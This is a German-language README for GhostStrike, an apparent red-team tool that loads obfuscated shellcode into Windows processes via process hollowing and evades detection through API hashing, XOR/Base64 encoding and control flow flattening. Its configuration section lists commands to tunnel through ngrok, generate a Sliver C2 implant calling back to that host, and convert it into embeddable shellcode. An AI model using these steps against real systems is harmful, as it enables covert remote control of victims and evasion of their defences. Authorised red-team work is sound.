GhostStrike ⚔️

GhostStrike ist ein fortschrittliches Cybersicherheits-Tool, das für Red-Team-Operationen entwickelt wurde und über ausgefeilte Techniken verfügt, um der Erkennung zu entgehen und Process Hollowing auf Windows-Systemen durchzuführen.

✨ Funktionen

Dynamische API-Auflösung: Verwendet eine benutzerdefinierte hashbasierte Methode, um Windows-APIs dynamisch aufzulösen und so die Erkennung durch signaturbasierte Sicherheitstools zu vermeiden.
Base64-Kodierung/-Dekodierung: Kodiert und dekodiert Shellcode, um dessen Präsenz im Speicher zu verschleiern und es statischen Analysetools zu erschweren, ihn zu erkennen.
Kryptografische Schlüsselerzeugung: Erzeugt sichere kryptografische Schlüssel mithilfe der Windows-Kryptografie-APIs, um Shellcode zu verschlüsseln und zu entschlüsseln, was eine zusätzliche Schutzschicht bietet.
XOR-Verschlüsselung/-Entschlüsselung: Einfache, aber effektive XOR-basierte Verschlüsselung, um den Shellcode während seines Injektionsprozesses zu schützen.
Control Flow Flattening: Implementiert Control Flow Flattening, um den Ausführungspfad zu verschleiern und die Analyse sowohl durch statische als auch dynamische Analysetools zu erschweren.
Process Hollowing: Injiziert verschlüsselten Shellcode in einen legitimen Windows-Prozess, sodass er verdeckt ausgeführt werden kann, ohne Verdacht zu erregen.

⚙️ Konfiguration

Sie können GhostStrike mit den folgenden Schritten konfigurieren:

Ngrok-Dienst erstellen: ngrok tcp 443
Sliver-C2-Implantat generieren: generate --mtls x.tcp.ngrok.io --save YourFile.exe
Listener erstellen: mtls --lhost 0.0.0.0 --lport 443
In .bin konvertieren: ./donut -i /home/YourUser/YourFile.exe -a 2 -f 1 -o /home/YourUser/YourFile.bin
In C++-Shellcode konvertieren: xxd -i YourFile.bin > YourFile.h
YourFile.h in diesen Code importieren
Kompilieren und loslegen! 🚀

💻 Voraussetzungen

C++-Compiler: Jeder moderne C++-Compiler wie g++, clang++ oder Visual Studio ist ausreichend, um den Code zu kompilieren.

Es sind keine zusätzlichen Abhängigkeiten erforderlich, um GhostStrike zu erstellen. Kompilieren Sie einfach den Quellcode mit Ihrem bevorzugten C++-Compiler, und schon kann es losgehen!

⚠️ Haftungsausschluss

Dieses Tool ist ausschließlich für Bildungszwecke und für die Verwendung in kontrollierten Umgebungen vorgesehen. Die unbefugte Verwendung von GhostStrike außerhalb dieser Umgebungen ist strengstens untersagt. Der Autor, @Stiven.Hacker, übernimmt keine Verantwortung für jeglichen Missbrauch oder Schaden, der durch diesen Code verursacht wird.

🎥 Demo

Sehen Sie sich eine Live-Demonstration von GhostStrike in Aktion auf LinkedIn an:

Demo ansehen

GhostStrike